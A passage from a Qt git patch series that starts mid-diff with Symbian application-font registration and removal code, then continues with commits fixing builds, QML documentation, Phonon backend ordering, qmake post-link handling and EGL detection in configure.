@@ void qt_cleanup_symbianFontDatabaseExtras() dbExtras->m_extrasHash.clear(); } +void qt_cleanup_symbianFontDatabase() +{ + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; + + QSymbianFontDatabaseExtrasImplementation::clear(); + + if (!db->applicationFonts.isEmpty()) { + QFontDatabase::removeAllApplicationFonts(); + // We remove the left over temporary font files of Qt application. + // Active fonts are undeletable since the font server holds a handle + // on them, so we do not need to worry to delete other running + // applications' fonts. + const QDir dir(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()); + const QStringList filter( + QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix + QLatin1String("*.ttf")); + foreach (const QFileInfo &ttfFile, dir.entryInfoList(filter)) + QFile(ttfFile.absoluteFilePath()).remove(); + db->applicationFonts.clear(); + } +} + QSymbianFontDatabaseExtrasImplementation::~QSymbianFontDatabaseExtrasImplementation() { - qt_cleanup_symbianFontDatabaseExtras(); + qt_cleanup_symbianFontDatabase(); if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) { delete m_store; m_heap->Close(); @@ -263,12 +324,40 @@ const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(c return m_extrasHash.value(searchKey); } -void QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo) +void QSymbianFontDatabaseExtrasImplementation::removeAppFontData( + QFontDatabasePrivate::ApplicationFont *fnt) +{ + clear(); + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable() + && fnt->fontStoreFontFileUid.iUid != 0) + m_store->RemoveFile(fnt->fontStoreFontFileUid); + if (fnt->screenDeviceFontFileId != 0) + S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId); + QFile::remove(fnt->temporaryFileName); + *fnt = QFontDatabasePrivate::ApplicationFont(); +} + +bool QSymbianFontDatabaseExtrasImplementation::appFontLimitReached() +{ + QFontDatabasePrivate *db = privateDb(); + if (!db) + return false; + const int maxAppFonts = 5; + int registeredAppFonts = 0; + foreach (const QFontDatabasePrivate::ApplicationFont &appFont, db->applicationFonts) + if (!appFont.families.isEmpty() && ++registeredAppFonts == maxAppFonts) + return true; + return false; +} + +TUid QSymbianFontDatabaseExtrasImplementation::addFontFileToFontStore(const QFileInfo &fontFileInfo) { Q_ASSERT(!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()); const QString fontFile = QDir::toNativeSeparators(fontFileInfo.absoluteFilePath()); - TPtrC fontFilePtr(qt_QString2TPtrC(fontFile)); - QT_TRAP_THROWING(m_store->AddFileL(fontFilePtr)); + const TPtrC fontFilePtr(qt_QString2TPtrC(fontFile)); + TUid fontUid = {0}; + TRAP_IGNORE(fontUid = m_store->AddFileL(fontFilePtr)); + return fontUid; } #else // QT_NO_FREETYPE @@ -331,9 +420,9 @@ void QFontEngineMultiS60::loadEngine(int at) Q_ASSERT(engines[at]); } -static bool addFontToScreenDevice(int screenDeviceFontIndex, - const QSymbianFontDatabaseExtrasImplementation *dbExtras) -{ +static bool registerScreenDeviceFont(int screenDeviceFontIndex, + const QSymbianFontDatabaseExtrasImplementation *dbExtras) +{ TTypefaceSupport typefaceSupport; S60->screenDevice()->TypefaceSupport(typefaceSupport, screenDeviceFontIndex); CFont *font; // We have to get a font instance in order to know all the details @@ -398,7 +487,12 @@ static void initializeDb() const QSymbianFontDatabaseExtrasImplementation *dbExtras = static_cast(db->symbianExtras); for (int i = 0; i < numTypeFaces; i++) - addFontToScreenDevice(i, dbExtras); + registerScreenDeviceFont(i, dbExtras); + + // We have to clear/release all CFonts, here, in case one of the fonts is + // an application font of another running Qt app. Otherwise the other Qt app + // cannot remove it's application font, anymore -> "Zombie Font". + QSymbianFontDatabaseExtrasImplementation::clear(); lock.relock(); @@ -423,18 +517,123 @@ static inline void load(const QString &family = QString(), int script = -1) static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt) { - Q_UNUSED(fnt); + if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()) + return; + + QFontDatabasePrivate *db = privateDb(); + if (!db) + return; + + if (!db->count) + initializeDb(); + + if (fnt->data.isEmpty() && !fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive)) + return; // Only buffer or .ttf + QSymbianFontDatabaseExtrasImplementation *dbExtras = + static_cast(db->symbianExtras); + if (!dbExtras) + return; + + // The QTemporaryFile object being used in the following section must be + // destructed before letting Symbian load the TTF file. Symbian would not + // load it otherwise, because QTemporaryFile will still keep some handle + // on it. The scope is used to reduce the life time of the QTemporaryFile. + // In order to prevent other processes from modifying the file between the + // moment where the QTemporaryFile is destructed and the file is loaded by + // Symbian, we have a QFile "tempFileGuard" outside the scope which opens + // the file in ReadOnly mode while the QTemporaryFile is still alive. + QFile tempFileGuard; + { + QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder() + + QSymbianFontDatabaseExtrasImplementation::appFontMarker() + + QLatin1String("XXXXXX.ttf")); + if (!tempfile.open()) + return; + const QString tempFileName = QFileInfo(tempfile).canonicalFilePath(); + if (fnt->data.isEmpty()) { + QFile sourceFile(fnt->fileName); + if (!sourceFile.open(QIODevice::ReadOnly)) + return; + fnt->data = sourceFile.readAll(); + } + if (tempfile.write(fnt->data) == -1) + return; + tempfile.setAutoRemove(false); + tempfile.close(); // Tempfile still keeps a file handle, forbidding write access + tempFileGuard.setFileName(tempFileName); + if (!tempFileGuard.open(QIODevice::ReadOnly)) + return; + fnt->temporaryFileName = tempFileName; + } + + const QString fullFileName = QDir::toNativeSeparators(fnt->temporaryFileName); + QSymbianFbsHeapLock lock(QSymbianFbsHeapLock::Unlock); + const QStringList fontsOnServerBefore = qt_symbian_fontFamiliesOnFontServer(); + const TInt err = + S60->screenDevice()->AddFile(qt_QString2TPtrC(fullFileName), fnt->screenDeviceFontFileId); + tempFileGuard.close(); // Did its job + const QStringList fontsOnServerAfter = qt_symbian_fontFamiliesOnFontServer(); + if (err == KErrNone && fontsOnServerBefore.count() < fontsOnServerAfter.count()) { // Added to screen device? + int fontOnServerIndex = fontsOnServerAfter.count() - 1; + for (int i = 0; i < fontsOnServerBefore.count(); i++) { + if (fontsOnServerBefore.at(i) != fontsOnServerAfter.at(i)) { + fontOnServerIndex = i; + break; + } + } + + // Must remove all font engines with their CFonts, first. + QFontCache::instance()->clear(); + db->free(); + QSymbianFontDatabaseExtrasImplementation::clear(); + + if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) + fnt->fontStoreFontFileUid = dbExtras->addFontFileToFontStore(QFileInfo(fullFileName)); + + fnt->families.append(fontsOnServerAfter.at(fontOnServerIndex)); + if (!registerScreenDeviceFont(fontOnServerIndex, dbExtras)) + dbExtras->removeAppFontData(fnt); + } else { + QFile::remove(fnt->temporaryFileName); + *fnt = QFontDatabasePrivate::ApplicationFont(); + } + lock.relock(); } bool QFontDatabase::removeApplicationFont(int handle) { - Q_UNUSED(handle); - return false; + QMutexLocker locker(fontDatabaseMutex()); + + QFontDatabasePrivate *db = privateDb(); + if (!db || handle < 0 || handle >= db->applicationFonts.count()) + return false; + QSymbianFontDatabaseExtrasImplementation *dbExtras = + static_cast(db->symbianExtras); + if (!dbExtras) + return false; + + QFontDatabasePrivate::ApplicationFont *fnt = &db->applicationFonts[handle]; + if (fnt->families.isEmpty()) + return true; // Nothing to remove. Return peacefully. + + // Must remove all font engines with their CFonts, first + QFontCache::instance()->clear(); + db->free(); + dbExtras->removeAppFontData(fnt); + + db->invalidate(); // This will just emit 'fontDatabaseChanged()' + return true; } bool QFontDatabase::removeAllApplicationFonts() { - return false; + QMutexLocker locker(fontDatabaseMutex()); + + const int applicationFontsCount = privateDb()->applicationFonts.count(); + for (int i = 0; i < applicationFontsCount; ++i) + if (!removeApplicationFont(i)) + return false; + return true; } bool QFontDatabase::supportsThreadedFontRendering() diff --git a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp index ead000c..8b6f621 100644 --- a/tests/auto/qfontdatabase/tst_qfontdatabase.cpp +++ b/tests/auto/qfontdatabase/tst_qfontdatabase.cpp @@ -191,9 +191,6 @@ void tst_QFontDatabase::addAppFont_data() void tst_QFontDatabase::addAppFont() { -#ifdef Q_OS_SYMBIAN - QSKIP( "Symbian: Application fonts are not yet supported", SkipAll ); -#else QFETCH(bool, useMemoryFont); QSignalSpy fontDbChangedSpy(QApplication::instance(), SIGNAL(fontDatabaseChanged())); @@ -243,7 +240,6 @@ void tst_QFontDatabase::addAppFont() QCOMPARE(fontDbChangedSpy.count(), 2); QVERIFY(db.families() == oldFamilies); -#endif } QTEST_MAIN(tst_QFontDatabase) -- cgit v0.12 From a2ebd9e3f84fb8fcd2be45e91a7c71f146961e23 Mon Sep 17 00:00:00 2001 From: Jason McDonald Date: Thu, 20 Jan 2011 00:39:44 +1000 Subject: Fix compilation error. Protect #include of feature-specific header in #ifdef. Task-number: QTBUG-16652 Reviewed-by: Trust Me Acked-by: Jani Hautakangas --- src/gui/painting/qdrawhelper.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/painting/qdrawhelper.cpp b/src/gui/painting/qdrawhelper.cpp index 9928dea..5904296 100644 --- a/src/gui/painting/qdrawhelper.cpp +++ b/src/gui/painting/qdrawhelper.cpp @@ -43,7 +43,9 @@ #include #include #include +#ifdef QT_HAVE_ARM_SIMD #include +#endif #include #include #include -- cgit v0.12 From 59a35a794e433f9526aff72025c0899e76ef362e Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 19 Jan 2011 15:49:41 +0100 Subject: Doc: Fixed QML syntax. --- doc/src/getting-started/examples.qdoc | 6 ++-- src/declarative/graphicsitems/qdeclarativeitem.cpp | 32 ++++++++++++++-------- src/declarative/graphicsitems/qdeclarativepath.cpp | 6 ++-- 3 files changed, 27 insertions(+), 17 deletions(-) diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index 67000e2..296e032 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -488,10 +488,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 2e3a5a2..7ddf949 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post) This example forwards key events to two lists: \qml - ListView { id: list1 ... } - ListView { id: list2 ... } - Keys.forwardTo: [list1, list2] - focus: true + Item { + ListView { + id: list1 + // ... + } + ListView { + id: list2 + // ... + } + Keys.forwardTo: [list1, list2] + focus: true + } \endqml */ @@ -2542,14 +2550,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi This property is often used in scripts to change between states. For example: - \qml - function toggle() { - if (button.state == 'On') - button.state = 'Off'; - else - button.state = 'On'; - } - \endqml + \js + function toggle() { + if (button.state == 'On') + button.state = 'Off'; + else + button.state = 'On'; + } + \endjs If the item is in its base state (i.e. no explicit state has been set), \c state will be a blank string. Likewise, you can return an diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index bc395d2..48e3f66 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -845,7 +845,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -859,7 +859,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \o \qml PathView { - ... + // ... Path { startX: 20; startY: 0 PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 } @@ -892,7 +892,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path) \qml PathView { - ... + // ... Path { startX: 0; startY: 0 PathLine { x:100; y: 0; } -- cgit v0.12 From 25ac59fcf1bb03c9af9a2c967218c96c7c77361a Mon Sep 17 00:00:00 2001 From: Alessandro Portale Date: Wed, 19 Jan 2011 18:49:34 +0100 Subject: Do not load aplication fonts on Symbian^1 and below read http://bugreports.qt.nokia.com/browse/QTBUG-16514 for a recipy to reboot the phone just by handling with fonts. Symbian^1 is vulnerable, and Symbain^3 prevents a phone reboot. Therefore, I prefer to disable the app font feature for Symbian^1, until QTBUG-16514 us properly handled. Task-Number: QTBUG-16514 --- src/gui/text/qfontdatabase_s60.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp index e508810..06462c4 100644 --- a/src/gui/text/qfontdatabase_s60.cpp +++ b/src/gui/text/qfontdatabase_s60.cpp @@ -517,6 +517,9 @@ static inline void load(const QString &family = QString(), int script = -1) static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt) { + if (QSysInfo::symbianVersion() <= QSysInfo::SV_SF_2) + return; // See QTBUG-16514 for what 'font collisions' can cause in Symbian^1 and lower + if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()) return; -- cgit v0.12 From 808de6fd2f9835c28986b86de829579196b6163d Mon Sep 17 00:00:00 2001 From: Gareth Stockwell Date: Wed, 19 Jan 2011 18:31:38 +0000 Subject: Switch default Phonon backend on Symbian from Helix to MMF If both plugins are present on a device, the MMF backend is now loaded by default. Task-number: QT-4472 Reviewed-by: Justin McPherson --- src/3rdparty/phonon/phonon/factory.cpp | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) diff --git a/src/3rdparty/phonon/phonon/factory.cpp b/src/3rdparty/phonon/phonon/factory.cpp index 2785dff..b5e565b 100644 --- a/src/3rdparty/phonon/phonon/factory.cpp +++ b/src/3rdparty/phonon/phonon/factory.cpp @@ -137,21 +137,15 @@ bool FactoryPrivate::createBackend() QStringList plugins(dir.entryList(QDir::Files)); #ifdef Q_OS_SYMBIAN - /* On Symbian OS we might have two plugins, one which uses Symbian - * MMF framework("mmf"), and one which uses Real Networks's - * Helix("hxphonon"). We prefer the latter because it's more - * sophisticated, so we make sure the Helix backend is attempted - * to be loaded first, and the MMF backend is used for backup. */ - { - const int helix = plugins.indexOf(QLatin1String("hxphonon")); - if (helix != -1) - plugins.move(helix, 0); - } + static const QString preferredPluginName = QLatin1String("phonon_mmf"); + const int preferredPluginIndex = plugins.indexOf(preferredPluginName + ".qtplugin"); + if (preferredPluginIndex != -1) + plugins.move(preferredPluginIndex, 0); #endif const QStringList files = dir.entryList(QDir::Files); - for (int i = 0; i < files.count(); ++i) { - QPluginLoader pluginLoader(libPath + files.at(i)); + for (int i = 0; i < plugins.count(); ++i) { + QPluginLoader pluginLoader(libPath + plugins.at(i)); if (!pluginLoader.load()) { pDebug() << Q_FUNC_INFO << " load failed:" << pluginLoader.errorString(); -- cgit v0.12 From 9fec1802952457178a9b31c55b4c6e3ea60fcb80 Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Thu, 20 Jan 2011 13:58:58 +0200 Subject: Improved QMAKE_POST_LINK support in symbian-sbsv2 QMAKE_POST_LINK value handling now uses the same automatic replacements as QMAKE_EXTRA_COMPILERS and QMAKE_EXTRA_TARGETS handling. In practice this means that it is now possible to use $$QMAKE_COPY and friends in QMAKE_POST_LINK value also with symbian-sbsv2 mkspec, and that any backslashes in the value are assumed to be path separators and will be converted to forward slashes. Task-number: QTBUG-16753 Reviewed-by: Janne Koskinen --- qmake/generators/symbian/symmake_sbsv2.cpp | 56 ++++++++++++++++++------------ 1 file changed, 34 insertions(+), 22 deletions(-) diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp index 47c5b31..6d01523 100644 --- a/qmake/generators/symbian/symmake_sbsv2.cpp +++ b/qmake/generators/symbian/symmake_sbsv2.cpp @@ -72,6 +72,35 @@ static QString sbsRvctPrefix; extern char **environ; #endif +static void fixFlmCmd(QString *cmdLine, const QMap &commandsToReplace) +{ + // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent. + // Command replacement is done only for the start of the command or right after + // concatenation operators (&& and ||), as otherwise unwanted replacements might occur. + static QString cmdFind(QLatin1String("(^|&&\\s*|\\|\\|\\s*)%1")); + static QString cmdReplace(QLatin1String("\\1%1")); + + // $$escape_expand(\\n\\t) doesn't work for bld.inf files, but is often used as command + // separator, so replace it with "&&" command concatenator. + cmdLine->replace("\n\t", "&&"); + + // Iterate command replacements in reverse alphabetical order of keys so + // that keys which are starts of other longer keys are iterated after longer keys. + QMapIterator cmdIter(commandsToReplace); + cmdIter.toBack(); + while (cmdIter.hasPrevious()) { + cmdIter.previous(); + if (cmdLine->contains(cmdIter.key())) + cmdLine->replace(QRegExp(cmdFind.arg(cmdIter.key())), cmdReplace.arg(cmdIter.value())); + } + + // Sbsv2 toolchain strips all backslashes (even double ones) from option parameters, so just + // assume all backslashes are directory separators and replace them with slashes. + // Problem: If some command actually needs backslashes for something else than dir separator, + // we are out of luck. + cmdLine->replace("\\", "/"); +} + // Copies Qt FLMs to correct location under epocroot. // This is not done by configure as it is possible to change epocroot after configure. void SymbianSbsv2MakefileGenerator::exportFlm() @@ -563,12 +592,6 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t commandsToReplace.insert(project->values("QMAKE_DEL_TREE").join(" "), project->values("QMAKE_SBSV2_DEL_TREE").join(" ")); - // If commandItem starts with any $$QMAKE_* commands, do a replace for SBS equivalent - // Command replacement is done only for the start of the command or right after - // concatenation operators (&& and ||), as otherwise unwanted replacements might occur. - static QString cmdFind("(^|&&\\s*|\\|\\|\\s*)%1"); - static QString cmdReplace("\\1%1"); - // Write extra compilers and targets to initialize QMAKE_ET_* variables // Cache results to avoid duplicate calls when creating wrapper makefile QTextStream extraCompilerStream(&extraCompilersCache); @@ -623,26 +646,13 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t t << "OPTION PREDEP_TARGET " << absoluteTarget << endl; t << "OPTION DEPS " << absoluteDeps << endl; - // Iterate command replacements in reverse alphabetical order of keys so - // that keys which are starts of other longer keys are iterated after longer keys. - QMapIterator cmdIter(commandsToReplace); - cmdIter.toBack(); - while (cmdIter.hasPrevious()) { - cmdIter.previous(); - if (commandItem.contains(cmdIter.key())) { - commandItem.replace(QRegExp(cmdFind.arg(cmdIter.key())), - cmdReplace.arg(cmdIter.value())); - } - } - if (commandItem.indexOf("$(INCPATH)") != -1) commandItem.replace("$(INCPATH)", incPath.join(" ")); if (commandItem.indexOf("$(DEFINES)") != -1) commandItem.replace("$(DEFINES)", defines.join(" ")); - // Sbsv2 strips all backslashes (even doubles ones) from option parameters, so just replace them with slashes - // Problem: If some command actually needs backslashes for something else than dir separator, we are out of luck... - commandItem.replace("\\", "/"); + fixFlmCmd(&commandItem, commandsToReplace); + t << "OPTION COMMAND " << commandItem << endl; t << "END" << endl; } @@ -672,8 +682,10 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t // Write post link rules if (!project->isEmpty("QMAKE_POST_LINK")) { + QString postLinkCmd = var("QMAKE_POST_LINK"); + fixFlmCmd(&postLinkCmd, commandsToReplace); t << "START EXTENSION qt/qmake_post_link" << endl; - t << "OPTION POST_LINK_CMD " << var("QMAKE_POST_LINK") << endl; + t << "OPTION POST_LINK_CMD " << postLinkCmd << endl; t << "OPTION LINK_TARGET " << removePathSeparators(escapeFilePath(fileFixify(project->first("TARGET"))).append(".").append(getTargetExtension())) << endl; t << "END" << endl; t << endl; -- cgit v0.12 From b47c43e8774cf0126c53dd71dc8969dfeab84405 Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Wed, 19 Jan 2011 15:35:55 +0100 Subject: don't assign MANIFEST_DIR if we don't need it avoids warnings with qmake -Wall about overriding the variable (as typically both scripts are in CONFIG, but only one is actually used). Task-number: QTBUG-13911 Reviewed-by: mariusSO --- mkspecs/features/win32/embed_manifest_dll.prf | 4 ++-- mkspecs/features/win32/embed_manifest_exe.prf | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/mkspecs/features/win32/embed_manifest_dll.prf b/mkspecs/features/win32/embed_manifest_dll.prf index e8711da..69c9d1d 100644 --- a/mkspecs/features/win32/embed_manifest_dll.prf +++ b/mkspecs/features/win32/embed_manifest_dll.prf @@ -1,6 +1,6 @@ -MANIFEST_DIR = $$OBJECTS_DIR -isEmpty(MANIFEST_DIR):MANIFEST_DIR = . !if(plugin:no_plugin_manifest):if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!static:!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "lib") { + MANIFEST_DIR = $$OBJECTS_DIR + isEmpty(MANIFEST_DIR):MANIFEST_DIR = . NOPATH_TARGET = $$TARGET NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted) NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators diff --git a/mkspecs/features/win32/embed_manifest_exe.prf b/mkspecs/features/win32/embed_manifest_exe.prf index 2d1c09b..44aadfa 100644 --- a/mkspecs/features/win32/embed_manifest_exe.prf +++ b/mkspecs/features/win32/embed_manifest_exe.prf @@ -1,6 +1,6 @@ -MANIFEST_DIR = $$OBJECTS_DIR -isEmpty(MANIFEST_DIR):MANIFEST_DIR = . if(win32-msvc2005*|win32-msvc2008*|win32-msvc2010*):!equals(TEMPLATE_PREFIX, "vc"):equals(TEMPLATE, "app") { + MANIFEST_DIR = $$OBJECTS_DIR + isEmpty(MANIFEST_DIR):MANIFEST_DIR = . NOPATH_TARGET = $$TARGET NOPATH_TARGET ~= s,\\\\ , ,q # Remove space escaping (NOPATH_TARGET is quoted) NOPATH_TARGET ~= s,\\\\,/,g # Change to single type separators -- cgit v0.12 From 6551a2933126cc86ac4c1e5265e967100d240fb0 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 12:07:14 +0100 Subject: don't include harfbuzz where we don't use it this only added extra noise to the output... Merge-request: 1028 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- src/declarative/declarative.pro | 2 -- src/opengl/opengl.pro | 2 -- src/openvg/openvg.pro | 2 -- src/plugins/graphicssystems/trace/trace.pro | 1 - src/svg/svg.pro | 2 -- 5 files changed, 9 deletions(-) diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro index 1ad888b..d2c035c 100644 --- a/src/declarative/declarative.pro +++ b/src/declarative/declarative.pro @@ -30,5 +30,3 @@ symbian: { } DEFINES += QT_NO_OPENTYPE -INCLUDEPATH += ../3rdparty/harfbuzz/src - diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro index 0e82467..45cb750 100644 --- a/src/opengl/opengl.pro +++ b/src/opengl/opengl.pro @@ -156,5 +156,3 @@ symbian { symbian:TARGET.UID3 = 0x2002131A } - -INCLUDEPATH += ../3rdparty/harfbuzz/src diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro index c05af90..619646f 100644 --- a/src/openvg/openvg.pro +++ b/src/openvg/openvg.pro @@ -60,5 +60,3 @@ contains(QT_CONFIG, openvg_on_opengl) { !isEmpty(QMAKE_LIBDIR_OPENGL): LIBS_PRIVATE += -L$$QMAKE_LIBDIR_OPENGL !isEmpty(QMAKE_LIBS_OPENGL): LIBS_PRIVATE += $$QMAKE_LIBS_OPENGL } - -INCLUDEPATH += ../3rdparty/harfbuzz/src diff --git a/src/plugins/graphicssystems/trace/trace.pro b/src/plugins/graphicssystems/trace/trace.pro index 07472e2..e57b015 100644 --- a/src/plugins/graphicssystems/trace/trace.pro +++ b/src/plugins/graphicssystems/trace/trace.pro @@ -10,4 +10,3 @@ SOURCES = main.cpp qgraphicssystem_trace.cpp target.path += $$[QT_INSTALL_PLUGINS]/graphicssystems INSTALLS += target -INCLUDEPATH += ../../../3rdparty/harfbuzz/src diff --git a/src/svg/svg.pro b/src/svg/svg.pro index 7b5251a..4cd8b8b 100644 --- a/src/svg/svg.pro +++ b/src/svg/svg.pro @@ -38,8 +38,6 @@ SOURCES += \ qgraphicssvgitem.cpp \ qsvggenerator.cpp -INCLUDEPATH += ../3rdparty/harfbuzz/src - symbian:TARGET.UID3=0x2001B2E2 include(../3rdparty/zlib_dependency.pri) -- cgit v0.12 From e0c2861976e06658a1d651941310407c15b0bcde Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 12:08:41 +0100 Subject: fix build with -opengl es1 in some cases try first, and if that fails, try . if CFG_EGL_GLES_INCLUDES is "no", then QT_GLES_EGL is not defined and type re-definitions in GLES/egltypes.h and EGL/egl.h might occur later. Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/configure b/configure index 6c50484..0845b31 100755 --- a/configure +++ b/configure @@ -6058,14 +6058,14 @@ fi # QWS if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then if [ "$CFG_EGL" != "no" ]; then # detect EGL support - if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then - # EGL specified by QMAKE_*_EGL, included with - CFG_EGL=yes - CFG_EGL_GLES_INCLUDES=no - elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then # EGL specified by QMAKE_*_EGL, included with CFG_EGL=yes CFG_EGL_GLES_INCLUDES=yes + elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then + # EGL specified by QMAKE_*_EGL, included with + CFG_EGL=yes + CFG_EGL_GLES_INCLUDES=no else if [ "$CFG_EGL" = "yes" ]; then echo "The EGL functionality test failed!" -- cgit v0.12 From de84d6420ab95fe82d3375110b8437ba0f6706a7 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 16:02:42 +0100 Subject: be more consistent about CFG_EGL_GLES_INCLUDES interpretation !"no" != "yes"; use the same condition in both places Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/configure b/configure index 0845b31..28d9cf9 100755 --- a/configure +++ b/configure @@ -8310,7 +8310,7 @@ else echo "OpenGL support ......... no" fi if [ "$CFG_EGL" != "no" ]; then - if [ "$CFG_EGL_GLES_INCLUDES" != "no" ]; then + if [ "$CFG_EGL_GLES_INCLUDES" = "yes" ]; then echo "EGL support ............ yes " else echo "EGL support ............ yes " -- cgit v0.12 From e7b4a1ce63b2ef7215627d29921990663af71e01 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Thu, 20 Jan 2011 16:21:40 +0100 Subject: don't accidentaly enable egl when disabling openvg Merge-request: 1027 Reviewed-by: Oswald Buddenhagen Reviewed-by: mariusSO --- configure | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/configure b/configure index 28d9cf9..dfbf9bd 100755 --- a/configure +++ b/configure @@ -1266,7 +1266,9 @@ while [ "$#" -gt 0 ]; do openvg) if [ "$VAL" = "auto" ] || [ "$VAL" = "yes" ] || [ "$VAL" = "no" ]; then CFG_OPENVG="$VAL" - CFG_EGL="auto" + if [ "$CFG_EGL" = "no" ] && [ "$VAL" != "no" ]; then + CFG_EGL=auto + fi else UNKNOWN_OPT=yes fi -- cgit v0.12 From 2d2ac3395663bb3b5335073b4120cc909194edfb Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 20 Jan 2011 17:14:44 +0100 Subject: Ensured that QML elements are marked up as types. --- tools/qdoc3/qmlmarkupvisitor.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 9916be2..7acac48 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -862,8 +862,7 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { QHash attributes; - attributes[QLatin1String("node")] = sourceText(definition->qualifiedTypeNameId->identifierToken); - addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("link"), attributes); + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type")); 